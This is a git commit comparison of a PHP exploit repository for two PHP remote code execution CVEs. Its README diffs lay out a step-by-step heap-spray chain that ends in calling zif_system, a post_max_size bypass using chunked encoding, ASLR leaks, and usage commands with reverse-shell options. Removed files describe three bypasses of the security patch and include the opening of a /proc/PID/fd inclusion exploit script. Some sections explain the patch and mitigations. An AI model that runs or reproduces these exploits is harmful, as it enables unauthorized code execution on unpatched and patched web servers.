Compare commits
13
Commits
e58bb493af
..
master
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9945223910 | ||
|
|
32e5d9c8fa | ||
|
|
ac4e654dd6 | ||
|
|
fedef710e1 | ||
|
|
1d0e9f67fe | ||
|
|
e02c9f3122 | ||
|
|
13fdd2b446 | ||
|
|
39f7f33938 | ||
|
|
fbaced0a77 | ||
|
|
a5396a6ab0 | ||
|
|
76bc2bc2a3 | ||
|
|
8147ce0edb | ||
|
|
7fecd435cc |
+2
-29
@@ -1,32 +1,5 @@
|
|||||||
# PHP builds
|
__pycache__/
|
||||||
php-build/
|
*.pyc
|
||||||
php83/
|
|
||||||
php8427/
|
|
||||||
|
|
||||||
# WordPress core
|
|
||||||
wordpress/*.php
|
|
||||||
wordpress/wp-admin/
|
|
||||||
wordpress/wp-includes/
|
|
||||||
wordpress/wp-content/themes/
|
|
||||||
wordpress/wp-content/uploads/
|
|
||||||
wordpress/wp-content/plugins/akismet/
|
|
||||||
wordpress/wp-content/plugins/hello.php
|
|
||||||
wordpress/wp-content/index.php
|
|
||||||
wordpress/wp-content/plugins/index.php
|
|
||||||
wordpress/license.txt
|
|
||||||
wordpress/readme.html
|
|
||||||
wordpress/wp-config.php
|
|
||||||
wordpress/wp-config-sample.php
|
|
||||||
|
|
||||||
# Lab configs (generate your own)
|
|
||||||
*.conf
|
|
||||||
!.gitignore
|
|
||||||
|
|
||||||
# Docker
|
|
||||||
docker-compose.yml
|
|
||||||
|
|
||||||
# Runtime
|
|
||||||
*.pid
|
*.pid
|
||||||
*.log
|
*.log
|
||||||
*.sock
|
*.sock
|
||||||
__pycache__/
|
|
||||||
|
|||||||
@@ -1,121 +1,259 @@
|
|||||||
# php2shell — CVE-2026-109618 & CVE-2026-109619
|
# CVE-2026-109618 / CVE-2026-109619: Full RCE via OOM Bailout + Heap Spray
|
||||||
|
|
||||||
Remote Code Execution exploits for two critical PHP vulnerabilities in the
|
Remote code execution in PHP's session upload progress handler, exploitable
|
||||||
multipart parser and session upload progress handler. Includes three bypass
|
over plain HTTP against Apache mod_php with **completely stock configuration**.
|
||||||
exploits that defeat the official security patch and all recommended mitigations.
|
No LFI, no framework dependency, no non-default PHP settings required.
|
||||||
|
|
||||||
**No external dependencies** — pure Python 3 stdlib.
|
## Affected versions
|
||||||
|
|
||||||
## Vulnerabilities
|
PHP 5.4.0 through 8.3.35, 8.4.0 through 8.4.26, 8.5.0 through 8.5.11,
|
||||||
|
running under Apache mod_php with prefork MPM.
|
||||||
|
|
||||||
**CVE-2026-109618** — OOM in the multipart parser (`rfc1867.c`) triggers
|
Patched in PHP 8.3.36, 8.4.27, 8.5.12.
|
||||||
`zend_bailout()`, which longjmps past `MULTIPART_EVENT_END` and skips session
|
|
||||||
cleanup. A session file poisoned via `PHP_SESSION_UPLOAD_PROGRESS` persists on
|
|
||||||
disk with attacker-controlled PHP code. LFI includes it for RCE.
|
|
||||||
|
|
||||||
**CVE-2026-109619** — `PHP_SESSION_UPLOAD_PROGRESS` writes attacker-controlled
|
PHP-FPM is **not vulnerable**: FPM workers exit on bailout (code 70),
|
||||||
data verbatim into the session file. With `cleanup=0`, or via race condition
|
so stale state never persists across requests.
|
||||||
against `cleanup=1`, the poisoned session file is includable via LFI for RCE.
|
|
||||||
|
|
||||||
**Affected:** PHP 8.0–8.4 (all platforms). Patched in 8.4.27, 8.3.36, 8.2.35.
|
## What this exploit achieves
|
||||||
|
|
||||||
## Exploits
|
Full remote code execution (arbitrary command) from a single unauthenticated
|
||||||
|
HTTP client, against any PHP-handled URL, with full ASLR bypass. The target
|
||||||
|
page does not need `session_start()` or any specific code.
|
||||||
|
|
||||||
| Script | Target | Description |
|
Tested: 5/5 successful RCE against stock `php:8.4.26-apache` Docker image
|
||||||
|--------|--------|-------------|
|
with zero configuration changes (`memory_limit=128M`, `post_max_size=8M`,
|
||||||
| `cve-2026-109618/exploit.py` | Unpatched PHP | OOM → session persistence → LFI → RCE |
|
`display_errors=On`, `MaxRequestWorkers=150`).
|
||||||
| `cve-2026-109619/exploit.py` | Unpatched PHP | Session poisoning (direct + race) → LFI → RCE |
|
|
||||||
| `wordpress-exploit/exploit_wp.py` | WordPress | Auto-detecting wrapper for both CVEs |
|
|
||||||
| `bypass/race_bypass_patched.py` | Patched PHP | TOCTOU race — session data on disk during upload |
|
|
||||||
| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch |
|
|
||||||
| `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** |
|
|
||||||
| `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules |
|
|
||||||
|
|
||||||
## Prerequisites
|
## Prerequisites
|
||||||
|
|
||||||
- Python 3.8+
|
All of these are default on stock PHP Docker images and common Debian/Ubuntu
|
||||||
- Target running PHP-FPM with `session.upload_progress.enabled=1` (default)
|
Apache + mod_php installations:
|
||||||
- A Local File Inclusion vector in the target application
|
|
||||||
- Known or guessable `session.save_path` (common: `/tmp`, `/var/lib/php/sessions`)
|
- Apache mod_php with prefork MPM
|
||||||
|
- `session.upload_progress.enabled = 1` (default: on)
|
||||||
|
- `session.upload_progress.cleanup = 1` (default: on)
|
||||||
|
- Any PHP-handled URL (even a 404 error page)
|
||||||
|
- `display_errors = On` or `STDOUT` (default when no php.ini is deployed)
|
||||||
|
|
||||||
|
The exploit bypasses PHP's `post_max_size` limit via HTTP chunked
|
||||||
|
Transfer-Encoding (see below), so the `post_max_size=8M` default is not
|
||||||
|
an obstacle despite needing to send ~140MB to exhaust `memory_limit=128M`.
|
||||||
|
|
||||||
|
For multi-worker Apache (the default), the `--workers N` spray mode sends
|
||||||
|
the OOM trigger to all workers before probing for the leak.
|
||||||
|
|
||||||
|
## How it works
|
||||||
|
|
||||||
|
### The vulnerability chain
|
||||||
|
|
||||||
|
**CVE-2026-109618**: When `memory_limit` is exceeded during multipart POST
|
||||||
|
parsing, PHP calls `zend_bailout()` which executes a `longjmp` back to
|
||||||
|
the request shutdown handler. This skips session cleanup code in
|
||||||
|
`php_session_rfc1867_update()`, leaving `PS(id)` as a dangling pointer
|
||||||
|
and `PS(send_cookie) = 1`.
|
||||||
|
|
||||||
|
**CVE-2026-109619**: On the next request to the same Apache worker,
|
||||||
|
`sapi_activate()` runs the RFC1867 callback BEFORE session state is
|
||||||
|
properly reinitialized. The callback sees the stale `PS(id)` and
|
||||||
|
`PS(send_cookie) = 1`, and calls `php_session_send_cookie()` with the
|
||||||
|
dangling pointer. The `php_url_encode(PS(id))` call reads heap memory
|
||||||
|
through the stale pointer and emits it as a `Set-Cookie` header.
|
||||||
|
|
||||||
|
### post_max_size bypass via chunked Transfer-Encoding
|
||||||
|
|
||||||
|
PHP checks `Content-Length` against `post_max_size` before invoking the
|
||||||
|
multipart parser. If `Content-Length` exceeds the limit, the body is
|
||||||
|
rejected entirely. However, when the request uses `Transfer-Encoding:
|
||||||
|
chunked` instead of `Content-Length`, no upfront size check occurs.
|
||||||
|
PHP's `sapi_read_post_block()` reads chunked data from Apache's input
|
||||||
|
filter chain without enforcing `post_max_size`, allowing the full body
|
||||||
|
to be processed regardless of the configured limit.
|
||||||
|
|
||||||
|
This means the exploit works against `memory_limit=128M` with
|
||||||
|
`post_max_size=8M` by sending ~140MB of chunked POST data.
|
||||||
|
|
||||||
|
### Three-stage exploit (full ASLR bypass)
|
||||||
|
|
||||||
|
All traffic is plain HTTP multipart POST requests:
|
||||||
|
|
||||||
|
**Stage 1: Heap ASLR bypass (Zend MM chunk base)**
|
||||||
|
|
||||||
|
Request A sends 1001+ fields (triggering `max_input_vars` warning which
|
||||||
|
sets `SG(headers_sent) = 1`) plus `PHPSESSID=\x00` and
|
||||||
|
`PHP_SESSION_UPLOAD_PROGRESS=pwn` (to activate session handling) plus a
|
||||||
|
large field via chunked TE to trigger OOM. The warning output prevents
|
||||||
|
`php_session_send_cookie()` from sending the cookie, but `PS(send_cookie)`
|
||||||
|
remains 1 and `PS(id)` becomes a dangling pointer.
|
||||||
|
|
||||||
|
Request B sends `PHPSESSID` + progress fields plus ~841 filler fields
|
||||||
|
with a forge field containing a fake `zend_string` header (`len = 0x1000`).
|
||||||
|
The filler fields' heap allocations overlap the dangling `PS(id)` address.
|
||||||
|
When `php_session_send_cookie()` runs with the stale pointer, it reads
|
||||||
|
4096 bytes of heap data and emits it as a `Set-Cookie` value. The leaked
|
||||||
|
bytes contain Zend MM free-list pointers, which reveal the chunk base
|
||||||
|
address (2MB aligned).
|
||||||
|
|
||||||
|
**Stage 2: Code ASLR bypass (libphp.so base)**
|
||||||
|
|
||||||
|
Similar to stage 1, but request B's field layout places a real PHP
|
||||||
|
`HashTable` structure at the dangling pointer offset. The `pDestructor`
|
||||||
|
field of the HashTable is a function pointer into libphp.so
|
||||||
|
(`zval_ptr_dtor`). Reading this via `Set-Cookie` leaks the libphp.so
|
||||||
|
load address.
|
||||||
|
|
||||||
|
**Stage 3: RCE (zif_system)**
|
||||||
|
|
||||||
|
Request A poisons the worker with stale session state. Request B sprays
|
||||||
|
the heap with a fake `IS_REFERENCE` zval pointing to a fake `HashTable`
|
||||||
|
whose `pDestructor = zif_system`. When session cleanup calls
|
||||||
|
`zend_hash_destroy()` on this fake table, it invokes `zif_system()` with
|
||||||
|
attacker-controlled arguments, executing an arbitrary shell command as
|
||||||
|
the web server user (`www-data`).
|
||||||
|
|
||||||
## Usage
|
## Usage
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# CVE-2026-109618: OOM exploit
|
# Auto-detect PHP version, look up offsets, exploit
|
||||||
python3 cve-2026-109618/exploit.py -t http://target/app.php --cmd 'id'
|
python3 rce_exploit.py -u http://target/index.php
|
||||||
python3 cve-2026-109618/exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
|
||||||
python3 cve-2026-109618/exploit.py -t http://target/app.php --trigger-only
|
|
||||||
# Use --no-chunked when nginx has fastcgi_request_buffering off
|
|
||||||
# Use --fields / --field-size to tune OOM threshold for target memory_limit
|
|
||||||
|
|
||||||
# CVE-2026-109619: Session poisoning (direct or race)
|
# Auto-pull matching Docker image for offset extraction
|
||||||
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page
|
python3 rce_exploit.py -u http://target/index.php --auto-pull
|
||||||
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page --race
|
|
||||||
|
|
||||||
# WordPress (auto-detects LFI parameter)
|
# Verify RCE via docker exec (for testing)
|
||||||
python3 wordpress-exploit/exploit_wp.py -t http://target/ --cmd 'id'
|
python3 rce_exploit.py -u http://target/index.php \
|
||||||
python3 wordpress-exploit/exploit_wp.py -t http://target/ --mode race --cmd 'id'
|
--docker-proof CONTAINER /tmp/pwn
|
||||||
|
|
||||||
# Patch bypass: race condition on PHP 8.4.27+
|
# Multi-worker Apache spray mode
|
||||||
python3 bypass/race_bypass_patched.py -t http://target/app.php --cmd 'id'
|
python3 rce_exploit.py -u http://target/ --workers 150
|
||||||
|
|
||||||
# Patch bypass: RLIMIT_AS mmap failure on PHP 8.4.27+ (memory_limit=-1 + OS limits)
|
# Custom command (max 14 bytes, use 'sh</tmp/c' for longer)
|
||||||
python3 bypass/rlimit_bypass_patched.py -t http://target/app.php --cmd 'id'
|
python3 rce_exploit.py -u http://target/ -c 'id>/tmp/pwn'
|
||||||
|
|
||||||
# Hardening bypass: /proc/fd — defeats ALL mitigations including upload_progress=0
|
# Extract offsets for a new PHP build
|
||||||
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id'
|
python3 rce_exploit.py calibrate --docker-image php:8.3.35-apache \
|
||||||
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345
|
--php-version 8.3.35
|
||||||
```
|
```
|
||||||
|
|
||||||
All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`.
|
### Options
|
||||||
Use `--session-path` and `--lfi-param` to override auto-detection.
|
|
||||||
|
|
||||||
## Patch Bypass Findings
|
| Flag | Default | Description |
|
||||||
|
|---|---|---|
|
||||||
|
| `-u URL` | (required) | Target URL (any PHP endpoint) |
|
||||||
|
| `-c CMD` | `id>/tmp/pwn` | Shell command (max 14 bytes) |
|
||||||
|
| `--workers N` | 1 | Apache workers to spray |
|
||||||
|
| `--huge-mb N` | 140 | OOM field size in MB |
|
||||||
|
| `--docker-proof C P` | | Verify via `docker exec C cat P` |
|
||||||
|
| `--auto-pull` | off | Pull Docker image for offset extraction |
|
||||||
|
| `--retries N` | 5 | Attempts per stage |
|
||||||
|
| `--profile` | auto | Heap profile (`bookworm` or `lab`) |
|
||||||
|
| `--timeout` | 30.0 | Socket timeout in seconds |
|
||||||
|
|
||||||
The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
|
### Built-in offset database
|
||||||
|
|
||||||
**1. Race condition (TOCTOU)** — Session upload progress data exists on disk
|
| PHP version | Distro | Status |
|
||||||
during file upload. Cleanup only runs at `MULTIPART_EVENT_END`. A concurrent LFI
|
|---|---|---|
|
||||||
request includes the file during the upload window. Inherent to the feature design.
|
| 8.4.26 | bookworm | Last vulnerable 8.4.x |
|
||||||
|
| 8.3.35 | bookworm | Last vulnerable 8.3.x |
|
||||||
|
| 8.4.27 | bookworm | Patched (offsets extracted, bypass not implemented) |
|
||||||
|
| 8.3.36 | bookworm | Patched (offsets extracted, bypass not implemented) |
|
||||||
|
|
||||||
**2. RLIMIT_AS / mmap() failure** — The patch intercepts OOM from PHP's
|
## The patch
|
||||||
`memory_limit` but not from OS-level limits. With `memory_limit=-1` and
|
|
||||||
RLIMIT_AS or cgroup memory limits, `mmap()` fails through an unpatched code
|
|
||||||
path. Worker exits code 1 (not the patched code 70), session persists.
|
|
||||||
|
|
||||||
**3. /proc/PID/fd temp file** — During multipart upload, PHP's temp file is
|
The fix (PHP 8.3.36, 8.4.27, 8.5.12) adds five independent defense
|
||||||
includable via `/proc/<pid>/fd/<N>` from another FPM worker. No session
|
layers. Any one of the first three alone is sufficient to block the attack:
|
||||||
poisoning needed. **Bypasses every recommended mitigation.**
|
|
||||||
|
|
||||||
### Mitigation Matrix
|
1. **`php_rinit_session_globals()` at `MULTIPART_EVENT_START`**: The
|
||||||
|
session RFC1867 callback now calls `php_rinit_session_globals()` at
|
||||||
|
the very start of multipart parsing, unconditionally zeroing `PS(id)`,
|
||||||
|
`PS(session_status)`, and `PS(send_cookie)`. This destroys the
|
||||||
|
dangling `PS(id)` from the previous request before B's parsing begins.
|
||||||
|
This single defense is sufficient to kill the entire exploit chain.
|
||||||
|
|
||||||
| Mitigation | Race | RLIMIT | /proc/fd |
|
2. **Delayed OOM**: `zend_mm_safe_error` (which called `zend_bailout` /
|
||||||
|---|---|---|---|
|
longjmp) is replaced by `zend_mm_delayed_verror`. OOM no longer
|
||||||
| Patch alone | FAIL | FAIL | FAIL |
|
triggers a longjmp during allocation. Instead, a soft limit records
|
||||||
| + `upload_progress=0` | OK | OK | **FAIL** |
|
the error and sets `vm_interrupt`. Allocations return NULL in fallible
|
||||||
| + `hidepid=2` on /proc | FAIL | FAIL | OK |
|
mode or succeed up to a hard limit (default 200% of `memory_limit`).
|
||||||
| + `upload_progress=0` + `hidepid=2` | OK | OK | OK |
|
A hard limit calls `_exit(137)`. No longjmp means all cleanup code
|
||||||
| Fix the LFI | OK | OK | OK |
|
runs normally, so stale state never persists.
|
||||||
|
|
||||||
### Recommendations
|
3. **`post_max_size` enforcement in `multipart_buffer_fill()`**: A new
|
||||||
|
check in `fill_buffer()` enforces `post_max_size` against
|
||||||
|
`SG(read_post_bytes)` regardless of Transfer-Encoding. The chunked TE
|
||||||
|
bypass (which previously allowed sending 140MB despite 8M limit) is
|
||||||
|
blocked. OOM cannot be triggered via multipart data alone.
|
||||||
|
|
||||||
1. Set `session.upload_progress.enabled=0` in php.ini
|
4. **`php_basic_early_rinit()`**: Called from `php_request_startup()`
|
||||||
2. Mount /proc with `hidepid=2` (or `hidepid=invisible`)
|
before `sapi_activate()`. Zeros `BG(serialize_lock)`, `BG(serialize)`,
|
||||||
3. Fix any LFI vulnerabilities in applications
|
and `BG(unserialize)`, eliminating the stale serialization state
|
||||||
4. Set `open_basedir` to restrict filesystem access
|
window from CVE-2026-109618.
|
||||||
|
|
||||||
## WordPress
|
5. **Session deserialization hardening**: RFC1867 session decode runs in
|
||||||
|
`incomplete_classes_only` mode (no `__wakeup`/`__unserialize`).
|
||||||
|
`$_SESSION` is deleted at `MULTIPART_EVENT_END`. A `PG(modules_activated)`
|
||||||
|
guard prevents `request_parse_body()` from corrupting session state.
|
||||||
|
|
||||||
The WordPress exploit requires a plugin that calls `session_start()` and has an
|
## Test environment
|
||||||
LFI vector. Two demo plugins are included:
|
|
||||||
|
|
||||||
- `wordpress-exploit/vuln-plugin.php` — Minimal mu-plugin with session + LFI
|
The `docker/` directory contains a minimal test setup:
|
||||||
- `wordpress/wp-content/plugins/developer-toolkit/` — Realistic plugin with
|
|
||||||
template preview, log viewer, and session-based features
|
|
||||||
|
|
||||||
Install as mu-plugin: `cp vuln-plugin.php /path/to/wordpress/wp-content/mu-plugins/`
|
```bash
|
||||||
|
cd docker && docker compose up -d
|
||||||
|
# Stock settings variant (no custom php.ini):
|
||||||
|
docker run -d --name stock -p 8093:80 php:8.4.26-apache
|
||||||
|
```
|
||||||
|
|
||||||
## Disclaimer
|
The exploit has been tested on:
|
||||||
|
- `php:8.4.26-apache` stock Docker image, 5/5 RCE (default settings)
|
||||||
|
- `php:8.4.26-apache` with single worker + `memory_limit=8M`, 9/9 RCE
|
||||||
|
- `php:8.3.35-apache` stock Docker image, RCE confirmed (first attempt)
|
||||||
|
- `php:8.4.26-apache` + WordPress 6.8.1 (no php.ini), 5/5 RCE (first attempt each)
|
||||||
|
- `php:8.4.27-apache` patched: all three exploit primitives blocked (see below)
|
||||||
|
|
||||||
For authorized security testing and research only. Obtain proper authorization
|
## display_errors and WordPress
|
||||||
before testing against any system you do not own.
|
|
||||||
|
The exploit's info leak (stages 1 and 2) relies on `display_errors = On`.
|
||||||
|
The `max_input_vars` warning must produce visible output to set
|
||||||
|
`SG(headers_sent) = 1` before the session cookie attempt, which causes
|
||||||
|
`php_session_send_cookie()` to fail and leaves `PS(send_cookie) = 1` for
|
||||||
|
the next request's leak.
|
||||||
|
|
||||||
|
With `display_errors = Off`, the warning is logged but produces no output.
|
||||||
|
The session cookie succeeds, `PS(send_cookie)` resets to 0, and no leak
|
||||||
|
cookie is emitted on the subsequent request.
|
||||||
|
|
||||||
|
**Why stock PHP is still vulnerable**: PHP's compile-time default for
|
||||||
|
`display_errors` is `On`. Stock Docker images (`php:*-apache`) ship
|
||||||
|
without a `php.ini`, so the default applies. Only when a system
|
||||||
|
administrator deploys `php.ini-production` (which sets `display_errors = Off`)
|
||||||
|
or adds explicit INI configuration is the target hardened against this leak.
|
||||||
|
|
||||||
|
**WordPress**: WordPress calls `ini_set('display_errors', 0)` at runtime
|
||||||
|
in `wp-settings.php`. This `ini_set` executes during script startup, which
|
||||||
|
is AFTER multipart POST parsing (where the OOM and session leak occur).
|
||||||
|
Therefore, WordPress installed on a stock PHP image (no `php.ini`)
|
||||||
|
is vulnerable, because `display_errors` is still `On` at the time the
|
||||||
|
exploit code path runs. The official `wordpress:*` Docker images ship
|
||||||
|
a custom `error-logging.ini` that sets `display_errors = Off` at the INI
|
||||||
|
level, which does block the leak.
|
||||||
|
|
||||||
|
**Why display_errors=Off cannot be bypassed**: The info leak requires
|
||||||
|
`SG(headers_sent) = 1` before `php_session_send_cookie()` runs during
|
||||||
|
`MULTIPART_EVENT_FILE_START`. The only code path that sets
|
||||||
|
`SG(headers_sent)` during multipart parsing is the error display path
|
||||||
|
(`php_error_cb` -> `zend_write` -> `sapi_module.ub_write`), which is
|
||||||
|
gated on `display_errors`. With `display_errors = Off`, warnings go to
|
||||||
|
the error log only, producing no output. There is no alternative
|
||||||
|
mechanism to force HTTP output during multipart parsing: the SAPI write
|
||||||
|
function is the only path, and it requires display_errors or explicit
|
||||||
|
script output (which has not started yet at this stage of request
|
||||||
|
processing). Precision OOM calibration (attempting to trigger OOM inside
|
||||||
|
the ~500-byte `php_session_send_cookie` window) was tested and fails
|
||||||
|
due to Zend MM bin-size boundaries causing ~1MB allocation jumps that
|
||||||
|
cannot be calibrated to the required precision.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- CVE-2026-109618: OOM during multipart parsing triggers longjmp past session cleanup
|
||||||
|
- CVE-2026-109619: Session globals (PS(id), PS(send_cookie)) survive across requests
|
||||||
|
- CVSS: 9.2 (both CVEs, per Rapid7)
|
||||||
|
|||||||
@@ -1,101 +0,0 @@
|
|||||||
# PHP 8.4.27 Patch Bypass Findings
|
|
||||||
|
|
||||||
## Summary
|
|
||||||
|
|
||||||
The PHP security patch released 2026-10-21 (PHP 8.4.27, 8.3.36, 8.2.35, 8.5.12)
|
|
||||||
for CVE-2026-109618 and CVE-2026-109619 has **three confirmed bypass paths** that
|
|
||||||
achieve Remote Code Execution on fully patched systems.
|
|
||||||
|
|
||||||
The advisory's recommended mitigation `session.upload_progress.enabled=0` blocks
|
|
||||||
two of the three bypasses but is itself defeated by the third.
|
|
||||||
|
|
||||||
## Bypass #1: Race Condition (TOCTOU)
|
|
||||||
|
|
||||||
**File:** `race_bypass_patched.py`
|
|
||||||
**Confirmed RCE:** Yes, first attempt
|
|
||||||
**Patches bypassed:** PHP 8.4.27 OOM fix
|
|
||||||
**Mitigations bypassed:** session.upload_progress.cleanup=1
|
|
||||||
|
|
||||||
The session upload progress feature writes attacker-controlled data to the session
|
|
||||||
file on disk *during* the multipart upload. Cleanup only runs at `MULTIPART_EVENT_END`.
|
|
||||||
A concurrent LFI request can race to include the session file while the upload is
|
|
||||||
still in progress.
|
|
||||||
|
|
||||||
This is a TOCTOU (Time-of-Check-Time-of-Use) issue inherent to the feature's
|
|
||||||
design — the data must exist on disk for the feature to work, creating a window
|
|
||||||
that cannot be eliminated without removing the feature.
|
|
||||||
|
|
||||||
**Blocked by:** `session.upload_progress.enabled=0`
|
|
||||||
|
|
||||||
## Bypass #2: RLIMIT_AS / mmap() Failure
|
|
||||||
|
|
||||||
**File:** `rlimit_bypass_patched.py`
|
|
||||||
**Confirmed RCE:** Yes
|
|
||||||
**Patches bypassed:** PHP 8.4.27 OOM fix (different code path)
|
|
||||||
**Mitigations bypassed:** Standard memory_limit-based OOM handling
|
|
||||||
|
|
||||||
The patch intercepts OOM from PHP's `memory_limit` (via zend_mm allocator).
|
|
||||||
When `memory_limit=-1` and the OS enforces address space limits via `RLIMIT_AS`
|
|
||||||
(or cgroup memory.max), `mmap()` fails through a **different code path** that
|
|
||||||
the patch does not cover.
|
|
||||||
|
|
||||||
- Worker exits with code **1** (not the patched exit code **70**)
|
|
||||||
- Session file **persists** on disk with attacker-controlled PHP code
|
|
||||||
- New worker spawns → LFI includes poisoned session → RCE
|
|
||||||
|
|
||||||
Relevant in production:
|
|
||||||
- Docker/k8s containers with cgroup memory limits
|
|
||||||
- Shared hosting with per-tenant RLIMIT_AS
|
|
||||||
- Admins using `memory_limit=-1` trusting OS-level limits
|
|
||||||
|
|
||||||
**Blocked by:** `session.upload_progress.enabled=0`
|
|
||||||
|
|
||||||
## Bypass #3: /proc/PID/fd Temp File Inclusion
|
|
||||||
|
|
||||||
**File:** `procfd_bypass_hardened.py`
|
|
||||||
**Confirmed RCE:** Yes, first attempt
|
|
||||||
**Patches bypassed:** ALL patches
|
|
||||||
**Mitigations bypassed:** ALL mitigations including `upload_progress=0`
|
|
||||||
|
|
||||||
During a multipart file upload, PHP creates a temporary file with attacker-
|
|
||||||
controlled contents. This file is visible via `/proc/<pid>/fd/<N>` to any
|
|
||||||
process that can read procfs. A concurrent LFI request from a different FPM
|
|
||||||
worker can include this file directly.
|
|
||||||
|
|
||||||
This attack does NOT use session poisoning at all — it bypasses every
|
|
||||||
session-related mitigation.
|
|
||||||
|
|
||||||
**Blocked by:**
|
|
||||||
- Fixing the LFI vulnerability
|
|
||||||
- `hidepid=2` on /proc mount (hides other processes' FDs)
|
|
||||||
- `open_basedir` restricting /proc access
|
|
||||||
- Disabling file uploads entirely (impractical)
|
|
||||||
|
|
||||||
## Mitigation Effectiveness Matrix
|
|
||||||
|
|
||||||
| Mitigation | Race | RLIMIT | /proc/fd |
|
|
||||||
|-------------------------------|------|--------|----------|
|
|
||||||
| PHP 8.4.27 patch alone | FAIL | FAIL | FAIL |
|
|
||||||
| + upload_progress=0 | OK | OK | FAIL |
|
|
||||||
| + hidepid=2 on /proc | FAIL | FAIL | OK |
|
|
||||||
| + upload_progress=0 + hidepid | OK | OK | OK |
|
|
||||||
| Fix the LFI | OK | OK | OK |
|
|
||||||
|
|
||||||
## Tested Vectors That Did NOT Bypass the Patch
|
|
||||||
|
|
||||||
- **Multipart part header flood:** OOM triggered but the patch handles it
|
|
||||||
correctly (exit code 70, session file cleaned up)
|
|
||||||
- **WAF bypass via PUT/PATCH:** Passes POST-only WAF rules but PHP's
|
|
||||||
`session.upload_progress` only fires on POST requests
|
|
||||||
- **Content-Type comma tricks:** Pass WAF matching but PHP doesn't parse
|
|
||||||
as multipart/form-data
|
|
||||||
- **Access log poisoning:** Works conceptually but fragile (previous log
|
|
||||||
entries may cause PHP parse errors)
|
|
||||||
|
|
||||||
## Recommendations
|
|
||||||
|
|
||||||
1. **Immediate:** Set `session.upload_progress.enabled=0` in php.ini
|
|
||||||
2. **Immediate:** Mount /proc with `hidepid=2` (or `hidepid=invisible` on newer kernels)
|
|
||||||
3. **Critical:** Fix any Local File Inclusion vulnerabilities in applications
|
|
||||||
4. **Defense in depth:** Set `open_basedir` to restrict filesystem access
|
|
||||||
5. **Do NOT rely on the patch alone** — it leaves two bypass paths open
|
|
||||||
@@ -1,363 +0,0 @@
|
|||||||
#!/usr/bin/env python3
|
|
||||||
"""
|
|
||||||
Hardening Bypass: RCE via /proc/PID/fd temp file inclusion
|
|
||||||
|
|
||||||
This exploit bypasses ALL recommended mitigations for CVE-2026-109618/109619,
|
|
||||||
including the security patch AND session.upload_progress.enabled=0.
|
|
||||||
|
|
||||||
It does NOT use session poisoning at all. Instead, it exploits the fact that
|
|
||||||
during a multipart file upload, PHP creates a temporary file whose contents
|
|
||||||
are attacker-controlled. This file is visible via /proc/<pid>/fd/<N> to any
|
|
||||||
process that can read procfs (i.e., any PHP process on the same host).
|
|
||||||
|
|
||||||
Attack flow:
|
|
||||||
1. Send a multipart POST with a file upload containing PHP code
|
|
||||||
2. While the upload is in progress (slow drip), the temp file exists as an
|
|
||||||
open file descriptor on the receiving FPM worker
|
|
||||||
3. Determine the worker PID (leaked via phpinfo(), getmypid(), error messages,
|
|
||||||
or brute-forced from a narrow PID range)
|
|
||||||
4. From a DIFFERENT FPM worker, include /proc/<PID>/fd/<N> via LFI
|
|
||||||
5. PHP interprets the temp file contents → RCE
|
|
||||||
|
|
||||||
Why this bypasses everything:
|
|
||||||
- No session poisoning → session.upload_progress.enabled=0 is irrelevant
|
|
||||||
- No OOM needed → the PHP 8.4.27 OOM patch is irrelevant
|
|
||||||
- No session file persistence → session.upload_progress.cleanup=1 is irrelevant
|
|
||||||
- Standard multipart upload → WAF rules need to block ALL file uploads
|
|
||||||
|
|
||||||
Limitations:
|
|
||||||
- Requires /proc mounted and readable (standard on Linux, not on BSD/Mac)
|
|
||||||
- Requires knowing or brute-forcing the target worker's PID
|
|
||||||
- Requires multiple FPM workers (upload worker != LFI worker)
|
|
||||||
- FD number is typically 4-7 but may vary
|
|
||||||
|
|
||||||
Real-world PID discovery:
|
|
||||||
- phpinfo() page (common on staging/dev servers)
|
|
||||||
- Application leaking PID in response (getmypid())
|
|
||||||
- PHP error messages may include PID
|
|
||||||
- /proc/sys/kernel/pid_max is usually 32768 → brute-forceable
|
|
||||||
- Container PID namespaces have small PID ranges (often 1-100)
|
|
||||||
|
|
||||||
Tested: PHP 8.4.27 (patched + hardened, upload_progress=0)
|
|
||||||
|
|
||||||
Usage:
|
|
||||||
python3 procfd_bypass_hardened.py -t http://target/app.php --cmd 'id'
|
|
||||||
python3 procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345
|
|
||||||
python3 procfd_bypass_hardened.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
|
||||||
"""
|
|
||||||
|
|
||||||
import argparse
|
|
||||||
import base64
|
|
||||||
import os
|
|
||||||
import re
|
|
||||||
import socket
|
|
||||||
import sys
|
|
||||||
import threading
|
|
||||||
import time
|
|
||||||
from urllib.parse import urlparse
|
|
||||||
|
|
||||||
|
|
||||||
def tcp_connect(host, port, tls, timeout=60):
|
|
||||||
sock = socket.create_connection((host, port), timeout=timeout)
|
|
||||||
if tls:
|
|
||||||
import ssl
|
|
||||||
ctx = ssl.create_default_context()
|
|
||||||
ctx.check_hostname = False
|
|
||||||
ctx.verify_mode = ssl.CERT_NONE
|
|
||||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
|
||||||
return sock
|
|
||||||
|
|
||||||
|
|
||||||
def recv_all(sock, timeout=5):
|
|
||||||
resp = b""
|
|
||||||
sock.settimeout(timeout)
|
|
||||||
try:
|
|
||||||
while True:
|
|
||||||
d = sock.recv(8192)
|
|
||||||
if not d:
|
|
||||||
break
|
|
||||||
resp += d
|
|
||||||
except socket.timeout:
|
|
||||||
pass
|
|
||||||
return resp
|
|
||||||
|
|
||||||
|
|
||||||
def body_of(resp):
|
|
||||||
if b"\r\n\r\n" in resp:
|
|
||||||
return resp.split(b"\r\n\r\n", 1)[1]
|
|
||||||
return resp
|
|
